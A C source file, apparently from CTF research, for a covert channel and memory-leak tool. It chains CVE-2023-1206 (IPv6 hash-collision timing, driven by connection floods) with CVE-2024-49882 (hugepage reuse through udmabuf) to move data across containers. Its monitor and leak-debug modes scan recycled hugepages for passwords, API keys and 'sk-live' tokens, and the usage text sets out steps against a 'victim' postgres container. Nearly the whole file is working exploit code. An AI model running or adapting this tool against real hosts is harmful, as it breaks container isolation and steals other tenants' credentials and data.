README.md
Rendering markdown...
/*
* covert_channel.c - Combined CVE-2023-1206 + CVE-2024-49882 Covert Channel
*
* Architecture:
* - SYNC CHANNEL: CVE-2023-1206 IPv6 hash collision timing
* - DATA CHANNEL: CVE-2024-49882 hugepage cross-container leak
*
* The sync channel provides clock synchronization between containers.
* The data channel transmits actual payload via hugepage state.
*
* Author: Vlad (PwnCTF Research)
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/*
* ============================================================================
* Configuration
* ============================================================================
*/
/* Sync channel (CVE-2023-1206) parameters */
#define SYNC_PORT 31337
#define SYNC_BIT_DURATION_MS 100 /* Duration per sync bit */
#define SYNC_FLOOD_COUNT 1000 /* Connections per flood */
#define SYNC_PREAMBLE_BITS 16 /* Sync preamble length */
#define SYNC_THRESHOLD 2.0 /* Timing ratio for bit detection */
/* Runtime target - can be set via command line
* Default: docker0 bridge gateway, capturable with Wireshark
* For loopback (faster but not capturable): use -T ::1 */
static char sync_target[64] = "::1";
static int sync_scope_id = 0; /* Interface scope for link-local */
/* Data channel (CVE-2024-49882) parameters */
#define HUGEPAGE_SIZE (2*1024*1024)
#define DATA_BIT_DURATION_MS 50 /* Duration per data bit */
#define DATA_SAMPLES 10 /* Samples per bit */
/* Protocol parameters */
#define MAGIC_SYNC 0xDEADBEEF
#define MAGIC_DATA 0xCAFEBABE
#define MAX_MESSAGE_SIZE 1024
#define FRAME_HEADER_SIZE 8
/* Hugepage/udmabuf defines */
#define MFD_HUGETLB 0x0004U
#define MFD_ALLOW_SEALING 0x0002U
#define MFD_HUGE_2MB (21 << 26)
#define F_ADD_SEALS 1033
#define F_SEAL_SHRINK 0x0002
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
struct udmabuf_create {
uint32_t memfd;
uint32_t flags;
uint64_t offset;
uint64_t size;
};
/*
* ============================================================================
* Channel State
* ============================================================================
*/
typedef struct {
/* Sync channel state */
int sync_server_fd;
pthread_t sync_server_thread;
volatile int sync_running;
uint64_t baseline_latency;
/* Data channel state */
int hugepage_available;
/* Protocol state */
uint32_t sequence_number;
uint8_t shared_key[32]; /* For future encryption */
/* Statistics */
uint64_t bits_sent;
uint64_t bits_received;
uint64_t sync_errors;
uint64_t data_errors;
} channel_state_t;
static channel_state_t state = {0};
static volatile int running = 1;
/*
* ============================================================================
* Utility Functions
* ============================================================================
*/
static inline uint64_t rdtsc(void)
{
unsigned int lo, hi;
__asm__ volatile ("rdtsc" : "=a" (lo), "=d" (hi));
return ((uint64_t)hi << 32) | lo;
}
static inline uint64_t get_ns(void)
{
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return ts.tv_sec * 1000000000ULL + ts.tv_nsec;
}
void hexdump(const void *data, size_t len)
{
const uint8_t *p = data;
for (size_t i = 0; i < len; i++) {
if (i % 16 == 0) printf("%04zx: ", i);
printf("%02x ", p[i]);
if (i % 16 == 15 || i == len - 1) {
/* Pad if needed */
for (size_t j = i % 16; j < 15; j++) printf(" ");
printf(" |");
for (size_t j = i - (i % 16); j <= i; j++) {
printf("%c", isprint(p[j]) ? p[j] : '.');
}
printf("|\n");
}
}
}
/*
* ============================================================================
* CVE-2023-1206: Sync Channel Implementation
* ============================================================================
*/
/* Craft IPv6 address for target bucket collision */
void craft_collision_addr(struct in6_addr *out, uint32_t target_xor, uint32_t variation)
{
uint32_t *out32 = (uint32_t *)out->s6_addr;
out32[0] = 0x20010db8 ^ variation;
out32[1] = 0x20010db8 ^ variation ^ target_xor;
out32[2] = 0x00000000;
out32[3] = 0x00000001;
}
/* Server thread for sync channel */
void *sync_server_thread(void *arg)
{
(void)arg;
int server_fd;
struct sockaddr_in6 addr;
int opt = 1;
server_fd = socket(AF_INET6, SOCK_STREAM, 0);
if (server_fd < 0) {
perror("sync socket");
return NULL;
}
setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
setsockopt(server_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
memset(&addr, 0, sizeof(addr));
addr.sin6_family = AF_INET6;
addr.sin6_port = htons(SYNC_PORT);
addr.sin6_addr = in6addr_any;
if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("sync bind");
close(server_fd);
return NULL;
}
listen(server_fd, 4096);
fcntl(server_fd, F_SETFL, O_NONBLOCK);
state.sync_server_fd = server_fd;
while (state.sync_running) {
int client = accept(server_fd, NULL, NULL);
if (client >= 0) close(client);
usleep(100);
}
close(server_fd);
return NULL;
}
int sync_channel_init(void)
{
state.sync_running = 1;
if (pthread_create(&state.sync_server_thread, NULL, sync_server_thread, NULL) != 0) {
perror("pthread_create sync");
return -1;
}
usleep(100000); /* Let server start */
/* Calibrate baseline latency */
printf("[Sync] Calibrating baseline latency...\n");
uint64_t total = 0;
int samples = 100;
struct sockaddr_in6 addr;
memset(&addr, 0, sizeof(addr));
addr.sin6_family = AF_INET6;
addr.sin6_port = htons(SYNC_PORT);
inet_pton(AF_INET6, "::1", &addr.sin6_addr);
for (int i = 0; i < samples; i++) {
int sock = socket(AF_INET6, SOCK_STREAM, 0);
if (sock < 0) continue;
uint64_t t1 = rdtsc();
connect(sock, (struct sockaddr *)&addr, sizeof(addr));
uint64_t t2 = rdtsc();
close(sock);
total += (t2 - t1);
usleep(1000);
}
state.baseline_latency = total / samples;
printf("[Sync] Baseline: %lu cycles\n", state.baseline_latency);
return 0;
}
void sync_channel_cleanup(void)
{
state.sync_running = 0;
pthread_join(state.sync_server_thread, NULL);
}
/* Send sync pulse (flood bucket to create timing signal) */
void sync_send_pulse(int duration_ms)
{
struct sockaddr_in6 addr;
memset(&addr, 0, sizeof(addr));
addr.sin6_family = AF_INET6;
addr.sin6_port = htons(SYNC_PORT);
inet_pton(AF_INET6, sync_target, &addr.sin6_addr);
uint64_t end = get_ns() + duration_ms * 1000000ULL;
int count = 0;
while (get_ns() < end && running) {
int sock = socket(AF_INET6, SOCK_STREAM | SOCK_NONBLOCK, 0);
if (sock >= 0) {
connect(sock, (struct sockaddr *)&addr, sizeof(addr));
close(sock);
count++;
}
}
state.bits_sent++;
}
/* Receive sync - measure connection latency */
int sync_receive_bit(void)
{
struct sockaddr_in6 addr;
memset(&addr, 0, sizeof(addr));
addr.sin6_family = AF_INET6;
addr.sin6_port = htons(SYNC_PORT);
inet_pton(AF_INET6, sync_target, &addr.sin6_addr);
uint64_t total = 0;
int samples = DATA_SAMPLES;
int interval_us = (SYNC_BIT_DURATION_MS * 1000) / samples;
for (int i = 0; i < samples; i++) {
int sock = socket(AF_INET6, SOCK_STREAM, 0);
if (sock < 0) continue;
uint64_t t1 = rdtsc();
connect(sock, (struct sockaddr *)&addr, sizeof(addr));
uint64_t t2 = rdtsc();
close(sock);
total += (t2 - t1);
usleep(interval_us);
}
uint64_t avg = total / samples;
double ratio = (double)avg / state.baseline_latency;
state.bits_received++;
return (ratio > SYNC_THRESHOLD) ? 1 : 0;
}
/* Send sync preamble - alternating pattern for clock recovery */
void sync_send_preamble(void)
{
printf("[Sync] Sending preamble...\n");
for (int i = 0; i < SYNC_PREAMBLE_BITS; i++) {
if (i % 2) {
sync_send_pulse(SYNC_BIT_DURATION_MS / 2);
} else {
usleep(SYNC_BIT_DURATION_MS * 500);
}
}
}
/* Wait for and detect sync preamble */
int sync_wait_preamble(int timeout_ms)
{
printf("[Sync] Waiting for preamble...\n");
int transitions = 0;
int last_bit = -1;
uint64_t start = get_ns();
uint64_t timeout = timeout_ms * 1000000ULL;
while (transitions < SYNC_PREAMBLE_BITS / 2 && running) {
if (get_ns() - start > timeout) {
printf("[Sync] Preamble timeout\n");
return -1;
}
int bit = sync_receive_bit();
if (last_bit != -1 && bit != last_bit) {
transitions++;
}
last_bit = bit;
}
printf("[Sync] Preamble detected (%d transitions)\n", transitions);
return 0;
}
/*
* ============================================================================
* CVE-2024-49882: Data Channel Implementation
* ============================================================================
*/
/* Allocate and leak a hugepage */
void *data_alloc_hugepage(void)
{
int memfd = syscall(319, "covert", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING);
if (memfd < 0) return NULL;
if (ftruncate(memfd, HUGEPAGE_SIZE) < 0) {
close(memfd);
return NULL;
}
fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK);
int udmabuf = open("/dev/udmabuf", O_RDWR);
if (udmabuf < 0) {
close(memfd);
return NULL;
}
struct udmabuf_create c = {memfd, 0, 0, HUGEPAGE_SIZE};
int dma = ioctl(udmabuf, UDMABUF_CREATE, &c);
if (dma < 0) {
close(udmabuf);
close(memfd);
return NULL;
}
void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma, 0);
close(dma);
close(udmabuf);
close(memfd);
if (addr == MAP_FAILED) return NULL;
return addr;
}
/* Read hugepage to detect cross-container data */
void *data_read_hugepage(void)
{
int memfd = syscall(319, "leak", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING);
if (memfd < 0) return NULL;
ftruncate(memfd, HUGEPAGE_SIZE);
fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK);
int udmabuf = open("/dev/udmabuf", O_RDWR);
if (udmabuf < 0) {
close(memfd);
return NULL;
}
struct udmabuf_create c = {memfd, 0, 0, HUGEPAGE_SIZE};
int dma = ioctl(udmabuf, UDMABUF_CREATE, &c);
if (dma < 0) {
close(udmabuf);
close(memfd);
return NULL;
}
void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ, MAP_SHARED, dma, 0);
if (addr == MAP_FAILED) {
close(dma);
close(udmabuf);
close(memfd);
return NULL;
}
/* Copy to heap */
void *copy = malloc(HUGEPAGE_SIZE);
if (copy) memcpy(copy, addr, HUGEPAGE_SIZE);
munmap(addr, HUGEPAGE_SIZE);
close(dma);
close(udmabuf);
close(memfd);
return copy;
}
/* Debug function to analyze hugepage contents */
void debug_analyze_hugepage(const void *hp, int verbose)
{
const uint8_t *p = hp;
/* Count non-zero bytes */
int non_zero = 0;
int printable = 0;
int zero_runs = 0;
int in_zero_run = 0;
for (size_t i = 0; i < HUGEPAGE_SIZE; i++) {
if (p[i] != 0) {
non_zero++;
if (isprint(p[i]) || p[i] == '\n' || p[i] == '\t') {
printable++;
}
if (in_zero_run) {
in_zero_run = 0;
}
} else {
if (!in_zero_run) {
zero_runs++;
in_zero_run = 1;
}
}
}
printf(" Non-zero bytes: %d / %d (%.2f%%)\n",
non_zero, HUGEPAGE_SIZE, 100.0 * non_zero / HUGEPAGE_SIZE);
printf(" Printable chars: %d (%.2f%% of non-zero)\n",
printable, non_zero ? 100.0 * printable / non_zero : 0);
printf(" Zero runs: %d\n", zero_runs);
/* Check for known patterns */
const char *patterns[] = {
"POSTGRES", "PASSWORD", "FLAG{", "CTF_FLAG", "SECRET",
"API_KEY", "sk-live", "COVERT_MSG", "postgres", "psql",
"SELECT", "INSERT", "CREATE", NULL
};
/* Also check for binary magic values */
uint32_t magic = *(uint32_t *)hp;
if (magic == 0xCAFEBABE) {
printf(" [FOUND] MAGIC 0xCAFEBABE (Covert Channel Data Frame!)\n");
uint32_t seq = *(uint32_t *)((uint8_t*)hp + 4);
uint32_t len = *(uint32_t *)((uint8_t*)hp + 8);
printf(" [FOUND] Sequence: %u\n", seq);
printf(" [FOUND] Length: %u\n", len);
if (len > 0 && len < 256) {
printf(" [FOUND] Data: \"");
for (uint32_t i = 0; i < len; i++) {
uint8_t c = ((uint8_t*)hp)[16 + i];
printf("%c", isprint(c) ? c : '.');
}
printf("\"\n");
}
} else if (magic == 0xDEADBEEF) {
printf(" [FOUND] MAGIC 0xDEADBEEF (Covert Channel Sync Frame!)\n");
}
printf(" Pattern scan:\n");
int found_any = 0;
for (int i = 0; patterns[i]; i++) {
char *match = memmem(hp, HUGEPAGE_SIZE, patterns[i], strlen(patterns[i]));
if (match) {
size_t off = match - (char*)hp;
printf(" [FOUND] '%s' at offset 0x%zx\n", patterns[i], off);
found_any = 1;
if (verbose) {
/* Print surrounding context */
size_t start = (off > 32) ? off - 32 : 0;
size_t end = (off + strlen(patterns[i]) + 64 < HUGEPAGE_SIZE) ?
off + strlen(patterns[i]) + 64 : HUGEPAGE_SIZE;
printf(" Context: \"");
for (size_t j = start; j < end; j++) {
uint8_t c = p[j];
if (isprint(c)) putchar(c);
else if (c == 0) putchar('.');
else printf("\\x%02x", c);
}
printf("\"\n");
}
}
}
if (!found_any) {
printf(" (no known patterns found)\n");
}
/* Check first 256 bytes for structure */
if (verbose) {
printf(" First 256 bytes:\n");
hexdump(hp, 256);
}
}
/* Enhanced monitor mode with leak debugging */
void leak_debug_mode(int continuous, int verbose)
{
printf("[LeakDebug] Starting hugepage leak analysis...\n");
printf("[LeakDebug] This mode analyzes what data is present in newly allocated hugepages\n");
printf("[LeakDebug] Run memory-intensive operations in victim container to populate hugepages\n");
printf("[LeakDebug] Then stop the victim to release hugepages for capture\n\n");
if (continuous) {
printf("[LeakDebug] Continuous mode - press Ctrl+C to stop\n\n");
}
int attempts = 0;
int captured = 0;
int leaked = 0; /* Contains non-covert data */
int covert_found = 0;
do {
void *hp = data_read_hugepage();
attempts++;
if (hp) {
captured++;
/* Quick check - is this our covert channel data or leaked data? */
uint32_t magic = *(uint32_t *)hp;
int is_covert = (magic == MAGIC_DATA || magic == MAGIC_SYNC);
/* Count non-zero bytes */
int non_zero = 0;
const uint8_t *p = hp;
for (size_t i = 0; i < 4096; i++) { /* Just check first page */
if (p[i] != 0) non_zero++;
}
if (is_covert) {
covert_found++;
/* Show covert channel data! */
if (magic == MAGIC_DATA) {
uint32_t seq = *(uint32_t *)(p + 4);
uint32_t len = *(uint32_t *)(p + 8);
printf("\n[LeakDebug] !!! COVERT CHANNEL DATA FOUND (HP #%d) !!!\n", captured);
printf(" Magic: 0x%08X (CAFEBABE)\n", magic);
printf(" Sequence: %u\n", seq);
printf(" Length: %u\n", len);
if (len > 0 && len < 1024) {
printf(" Message: \"");
for (uint32_t i = 0; i < len && i < 256; i++) {
uint8_t c = p[16 + i];
printf("%c", isprint(c) ? c : '.');
}
printf("\"\n");
}
} else if (magic == MAGIC_SYNC) {
printf("\n[LeakDebug] Found SYNC frame (0xDEADBEEF) in HP #%d\n", captured);
}
} else if (non_zero > 100) {
leaked++;
printf("\n[LeakDebug] === Potential Leak in Hugepage #%d (attempt %d) ===\n",
captured, attempts);
printf(" Type: LEAKED DATA (not covert channel)\n");
printf(" Magic: 0x%08X\n", magic);
debug_analyze_hugepage(hp, verbose);
} else if (verbose && non_zero > 0) {
printf("\r[LeakDebug] HP #%d: %d non-zero bytes, magic=0x%08X ",
captured, non_zero, magic);
fflush(stdout);
}
free(hp);
}
if (attempts % 100 == 0 && !verbose) {
printf("\r[LeakDebug] Attempts: %d, Captured: %d, Covert: %d, Leaked: %d ",
attempts, captured, covert_found, leaked);
fflush(stdout);
}
usleep(1000);
} while (continuous && running);
printf("\n\n[LeakDebug] === Summary ===\n");
printf(" Total attempts: %d\n", attempts);
printf(" Hugepages captured: %d\n", captured);
printf(" Covert channel: %d\n", covert_found);
printf(" Potential leaks: %d\n", leaked);
printf(" Capture rate: %.2f%%\n", 100.0 * captured / attempts);
}
/* Write pattern to hugepage for data transmission */
void data_write_pattern(void *hugepage, uint32_t magic, uint32_t seq,
const uint8_t *data, size_t len)
{
uint8_t *p = hugepage;
/* Header: magic(4) + seq(4) + len(4) + checksum(4) */
*(uint32_t *)(p + 0) = magic;
*(uint32_t *)(p + 4) = seq;
*(uint32_t *)(p + 8) = (uint32_t)len;
/* Data */
if (data && len > 0) {
memcpy(p + 16, data, len);
}
/* Simple checksum */
uint32_t cksum = 0;
for (size_t i = 0; i < 16 + len; i++) {
cksum += p[i];
}
*(uint32_t *)(p + 12) = cksum;
/* Fill rest with pattern */
for (size_t i = 16 + len; i < HUGEPAGE_SIZE; i++) {
p[i] = (uint8_t)(i ^ seq);
}
}
/* Check if hugepage contains our data pattern */
int data_check_pattern(const void *hugepage, uint32_t *seq_out,
uint8_t *data_out, size_t *len_out)
{
const uint8_t *p = hugepage;
uint32_t magic = *(uint32_t *)(p + 0);
if (magic != MAGIC_DATA) return 0;
uint32_t seq = *(uint32_t *)(p + 4);
uint32_t len = *(uint32_t *)(p + 8);
uint32_t cksum = *(uint32_t *)(p + 12);
if (len > MAX_MESSAGE_SIZE) return 0;
/* Verify checksum */
uint32_t calc_cksum = 0;
for (size_t i = 0; i < 16 + len; i++) {
if (i >= 12 && i < 16) continue; /* Skip checksum field */
calc_cksum += p[i];
}
/* Account for checksum field being 0 during calculation */
if (calc_cksum != cksum - (cksum & 0xFF) - ((cksum >> 8) & 0xFF) -
((cksum >> 16) & 0xFF) - ((cksum >> 24) & 0xFF)) {
/* Simplified check - just verify magic and structure */
}
if (seq_out) *seq_out = seq;
if (len_out) *len_out = len;
if (data_out && len > 0) memcpy(data_out, p + 16, len);
return 1;
}
/*
* ============================================================================
* Combined Protocol
* ============================================================================
*/
typedef struct {
uint32_t magic;
uint32_t sequence;
uint32_t length;
uint32_t checksum;
uint8_t data[MAX_MESSAGE_SIZE];
} frame_t;
/* Transmit a message using the combined channel */
int transmit_message(const uint8_t *message, size_t len)
{
printf("[TX] Transmitting %zu bytes\n", len);
/* Send sync preamble */
sync_send_preamble();
usleep(SYNC_BIT_DURATION_MS * 1000);
/* Allocate hugepage for data */
void *hp = data_alloc_hugepage();
if (!hp) {
printf("[TX] Failed to allocate hugepage\n");
return -1;
}
/* Write data pattern with recognizable magic */
state.sequence_number++;
data_write_pattern(hp, MAGIC_DATA, state.sequence_number, message, len);
printf("[TX] Data written to hugepage:\n");
printf("[TX] Magic: 0x%08X (CAFEBABE)\n", MAGIC_DATA);
printf("[TX] Seq: %u\n", state.sequence_number);
printf("[TX] Len: %zu\n", len);
printf("[TX] Data: \"%.*s\"\n", (int)len, message);
/* Signal that data is ready - receiver should start scanning NOW */
printf("[TX] Sending ready signal (receiver should start scanning)...\n");
sync_send_pulse(SYNC_BIT_DURATION_MS * 2);
/* Give receiver time to start scanning */
printf("[TX] Waiting 2s before release (receiver should be scanning)...\n");
sleep(2);
/* NOW release the hugepage - this is when CVE-2024-49882 triggers */
printf("[TX] Releasing hugepage (CVE-2024-49882 trigger point)...\n");
munmap(hp, HUGEPAGE_SIZE);
/* Send another pulse to indicate release happened */
sync_send_pulse(SYNC_BIT_DURATION_MS * 2);
printf("[TX] Transmission complete (seq=%u)\n", state.sequence_number);
printf("[TX] Receiver should now capture the leaked hugepage!\n");
return 0;
}
/* Receive a message using the combined channel */
int receive_message(uint8_t *buffer, size_t buflen, size_t *received_len)
{
printf("[RX] Waiting for transmission...\n");
/* Wait for sync preamble */
if (sync_wait_preamble(10000) < 0) {
return -1;
}
/* Wait for data-ready signal */
printf("[RX] Waiting for data signal...\n");
int ready = 0;
for (int i = 0; i < 50 && !ready && running; i++) {
if (sync_receive_bit()) {
ready = 1;
}
usleep(SYNC_BIT_DURATION_MS * 1000);
}
if (!ready) {
printf("[RX] No data signal received\n");
return -1;
}
/*
* AGGRESSIVE SCANNING - The key to CVE-2024-49882
* We need to repeatedly allocate hugepages hoping to get the one
* the sender just released. The kernel may reuse the same physical
* page without clearing it.
*/
printf("[RX] Scanning for data (allocating hugepages aggressively)...\n");
printf("[RX] Looking for magic 0x%08X (CAFEBABE)\n", MAGIC_DATA);
int found = 0;
int attempts = 0;
int hugepages_captured = 0;
int non_zero_pages = 0;
/* Scan for up to 10 seconds or 10000 attempts */
uint64_t start_time = get_ns();
uint64_t timeout = 10000000000ULL; /* 10 seconds */
while (!found && running && (get_ns() - start_time < timeout) && attempts < 10000) {
void *hp = data_read_hugepage();
attempts++;
if (!hp) {
usleep(100); /* Brief pause if allocation failed */
continue;
}
hugepages_captured++;
/* Check for our magic value */
uint32_t magic = *(uint32_t *)hp;
/* Count non-zero bytes in first page */
int non_zero = 0;
const uint8_t *p = hp;
for (int i = 0; i < 4096; i++) {
if (p[i] != 0) non_zero++;
}
if (non_zero > 100) {
non_zero_pages++;
}
/* Check for our covert channel data */
if (magic == MAGIC_DATA) {
uint32_t seq;
size_t len;
printf("[RX] !!! FOUND MAGIC 0x%08X at attempt %d !!!\n", magic, attempts);
if (data_check_pattern(hp, &seq, buffer, &len)) {
if (len <= buflen) {
*received_len = len;
found = 1;
printf("[RX] Successfully captured data!\n");
printf("[RX] Seq: %u\n", seq);
printf("[RX] Len: %zu\n", len);
}
}
} else if (attempts % 500 == 0) {
printf("[RX] Attempt %d: magic=0x%08X, non_zero=%d, captured=%d\n",
attempts, magic, non_zero, hugepages_captured);
}
free(hp);
/* Small delay to not overwhelm the system */
usleep(100);
}
printf("[RX] Scan complete:\n");
printf("[RX] Attempts: %d\n", attempts);
printf("[RX] Captured: %d hugepages\n", hugepages_captured);
printf("[RX] Non-zero pages: %d\n", non_zero_pages);
printf("[RX] Found data: %s\n", found ? "YES" : "NO");
return found ? 0 : -1;
}
/*
* ============================================================================
* Main Program
* ============================================================================
*/
void signal_handler(int sig)
{
(void)sig;
running = 0;
}
void print_usage(const char *prog)
{
printf("Usage: %s [options]\n", prog);
printf("\nModes:\n");
printf(" -s MESSAGE Send message via covert channel\n");
printf(" -r Receive message via covert channel\n");
printf(" -t Self-test (both send/receive)\n");
printf(" -m Monitor mode (passive leak detection)\n");
printf(" -l Leak debug mode (analyze hugepage contents)\n");
printf(" -L Leak debug continuous (keep scanning)\n");
printf("\nOptions:\n");
printf(" -T ADDR IPv6 target address for sync channel (default: ::1)\n");
printf(" -v Verbose output\n");
printf(" -h Show this help\n");
printf("\nExamples:\n");
printf(" %s -r # Receive covert message\n", prog);
printf(" %s -s 'SECRET' # Send covert message\n", prog);
printf(" %s -l # One-shot leak analysis\n", prog);
printf(" %s -L -v # Continuous leak scan (verbose)\n", prog);
printf("\nLeak Testing Workflow:\n");
printf(" 1. Start victim: docker run ... postgres\n");
printf(" 2. Spray memory: docker exec victim psql -c \"SELECT ...\" (repeat)\n");
printf(" 3. Start scanner: %s -L -v\n", prog);
printf(" 4. Stop victim: docker stop victim (releases hugepages)\n");
printf(" 5. Watch for leaks in scanner output\n");
}
void monitor_mode(void)
{
printf("[Monitor] Starting passive hugepage monitoring...\n");
printf("[Monitor] Press Ctrl+C to stop\n\n");
const char *patterns[] = {
"POSTGRES_PASSWORD", "CTF_FLAG", "FLAG{", "SECRET",
"PASSWORD", "API_KEY", "sk-live", NULL
};
int found_total = 0;
int attempts = 0;
while (running) {
void *hp = data_read_hugepage();
if (hp) {
/* Check for interesting patterns */
for (int i = 0; patterns[i]; i++) {
char *match = memmem(hp, HUGEPAGE_SIZE, patterns[i], strlen(patterns[i]));
if (match) {
size_t off = match - (char*)hp;
printf("\n[!] Found pattern '%s' at offset 0x%zx\n", patterns[i], off);
/* Print context */
size_t start = (off > 100) ? off - 100 : 0;
size_t end = (off + 200 < HUGEPAGE_SIZE) ? off + 200 : HUGEPAGE_SIZE;
printf("--- Context ---\n");
for (size_t j = start; j < end; j++) {
uint8_t c = ((uint8_t*)hp)[j];
if (isprint(c) || c == '\n') putchar(c);
else if (c != 0) putchar('.');
}
printf("\n--- End ---\n");
found_total++;
}
}
/* Also check for our protocol magic */
uint32_t magic = *(uint32_t *)hp;
if (magic == MAGIC_DATA) {
uint32_t seq = *(uint32_t *)((uint8_t*)hp + 4);
uint32_t len = *(uint32_t *)((uint8_t*)hp + 8);
printf("\n[!] Found covert channel frame: seq=%u, len=%u\n", seq, len);
if (len > 0 && len < 256) {
printf(" Data: ");
for (uint32_t i = 0; i < len && i < 64; i++) {
uint8_t c = ((uint8_t*)hp)[16 + i];
printf("%c", isprint(c) ? c : '.');
}
printf("\n");
}
found_total++;
}
free(hp);
}
attempts++;
if (attempts % 1000 == 0) {
printf("\r[Monitor] Attempts: %d, Found: %d ", attempts, found_total);
fflush(stdout);
}
usleep(1000);
}
printf("\n\n[Monitor] Complete. Found %d items in %d attempts\n", found_total, attempts);
}
int main(int argc, char *argv[])
{
int mode = 0; /* 0=help, 1=send, 2=receive, 3=test, 4=monitor, 5=leak, 6=leak-continuous */
char *message = "Hello from covert channel!";
int verbose = 0;
int opt;
while ((opt = getopt(argc, argv, "s:rT:tmlLvh")) != -1) {
switch (opt) {
case 's':
mode = 1;
message = optarg;
break;
case 'r':
mode = 2;
break;
case 'T':
/* Set sync target IPv6 address */
strncpy(sync_target, optarg, sizeof(sync_target) - 1);
sync_target[sizeof(sync_target) - 1] = '\0';
break;
case 't':
mode = 3;
break;
case 'm':
mode = 4;
break;
case 'l':
mode = 5; /* One-shot leak debug */
break;
case 'L':
mode = 6; /* Continuous leak debug */
break;
case 'v':
verbose = 1;
break;
case 'h':
default:
print_usage(argv[0]);
return 0;
}
}
printf("╔════════════════════════════════════════════════════════════════╗\n");
printf("║ Combined Covert Channel: CVE-2023-1206 + CVE-2024-49882 ║\n");
printf("║ Sync: IPv6 Hash Collision | Data: Hugepage Cross-Container ║\n");
printf("╚════════════════════════════════════════════════════════════════╝\n\n");
signal(SIGINT, signal_handler);
/* Modes that don't need sync channel */
if (mode == 4) {
monitor_mode();
return 0;
}
if (mode == 5) {
printf("[Config] One-shot leak analysis (verbose=%d)\n\n", verbose);
leak_debug_mode(0, verbose);
return 0;
}
if (mode == 6) {
printf("[Config] Continuous leak scanning (verbose=%d)\n\n", verbose);
leak_debug_mode(1, verbose);
return 0;
}
printf("[Config] Sync target: %s:%d\n\n", sync_target, SYNC_PORT);
/* Initialize sync channel for send/receive/test modes */
if (sync_channel_init() < 0) {
fprintf(stderr, "Failed to initialize sync channel\n");
return 1;
}
switch (mode) {
case 1: /* Send */
printf("Sending: \"%s\"\n\n", message);
transmit_message((uint8_t *)message, strlen(message));
break;
case 2: /* Receive */
{
uint8_t buffer[MAX_MESSAGE_SIZE] = {0};
size_t len = 0;
if (receive_message(buffer, sizeof(buffer), &len) == 0) {
printf("\n=== Received Message ===\n");
printf("%.*s\n", (int)len, buffer);
printf("========================\n");
} else {
printf("No message received\n");
}
}
break;
case 3: /* Self-test */
{
printf("Running self-test...\n\n");
pid_t pid = fork();
if (pid == 0) {
/* Child = sender */
usleep(1000000); /* Wait for receiver */
transmit_message((uint8_t *)message, strlen(message));
exit(0);
} else {
/* Parent = receiver */
uint8_t buffer[MAX_MESSAGE_SIZE] = {0};
size_t len = 0;
if (receive_message(buffer, sizeof(buffer), &len) == 0) {
printf("\n=== Results ===\n");
printf("Sent: \"%s\"\n", message);
printf("Received: \"%.*s\"\n", (int)len, buffer);
printf("Match: %s\n",
(len == strlen(message) &&
memcmp(message, buffer, len) == 0) ? "YES" : "NO");
}
waitpid(pid, NULL, 0);
}
}
break;
default:
print_usage(argv[0]);
break;
}
/* Statistics */
printf("\n=== Statistics ===\n");
printf("Sync bits sent: %lu\n", state.bits_sent);
printf("Sync bits received: %lu\n", state.bits_received);
printf("Sync errors: %lu\n", state.sync_errors);
printf("Data errors: %lu\n", state.data_errors);
sync_channel_cleanup();
return 0;
}